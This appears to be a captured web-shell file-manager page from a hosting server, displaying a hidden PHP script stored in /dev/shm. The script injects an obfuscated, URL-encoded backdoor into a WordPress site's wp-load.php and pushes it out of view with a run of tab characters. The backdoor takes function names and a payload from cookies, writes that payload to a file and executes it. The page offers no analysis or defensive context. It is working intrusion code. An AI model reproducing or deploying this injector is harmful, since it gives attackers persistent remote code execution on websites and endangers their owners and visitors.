/
/
dev
/
shm
Server: server63.web-hosting.com (198.54.116.184)
You: 216.73.216.61
PHP 7.4.33
Dir:
/dev/shm
Edit:
/dev/shm/.parameter_group
<?php $path = '/home/rongulkt/public_html/wp-load.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_COOKIE%5B3%5D%29%26%26isset%28%24_COOKIE%5B14%5D%29%29%7B%24c%3D%24_COOKIE%3B%24k%3D0%3B%24n%3D6%3B%24p%3Darray%28%29%3B%24p%5B%24k%5D%3D%27%27%3Bwhile%28%24n%29%7B%24p%5B%24k%5D.%3D%24c%5B14%5D%5B%24n%5D%3Bif%28%21%24c%5B14%5D%5B%24n%2B1%5D%29%7Bif%28%21%24c%5B14%5D%5B%24n%2B2%5D%29break%3B%24k%2B%2B%3B%24p%5B%24k%5D%3D%27%27%3B%24n%2B%2B%3B%7D%24n%3D%24n%2B6%2B1%3B%7D%24k%3D%24p%5B0%5D%28%29.%24p%5B19%5D%3Bif%28%21%24p%5B12%5D%28%24k%29%29%7B%24n%3D%24p%5B15%5D%28%24k%2C%24p%5B1%5D%29%3B%24p%5B23%5D%28%24n%2C%24p%5B13%5D.%24p%5B24%5D%28%24p%5B8%5D%28%24c%5B3%5D%29%29%29%3B%7Dinclude%28%24k%29%3B%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');
Ukuran: 1.3 KB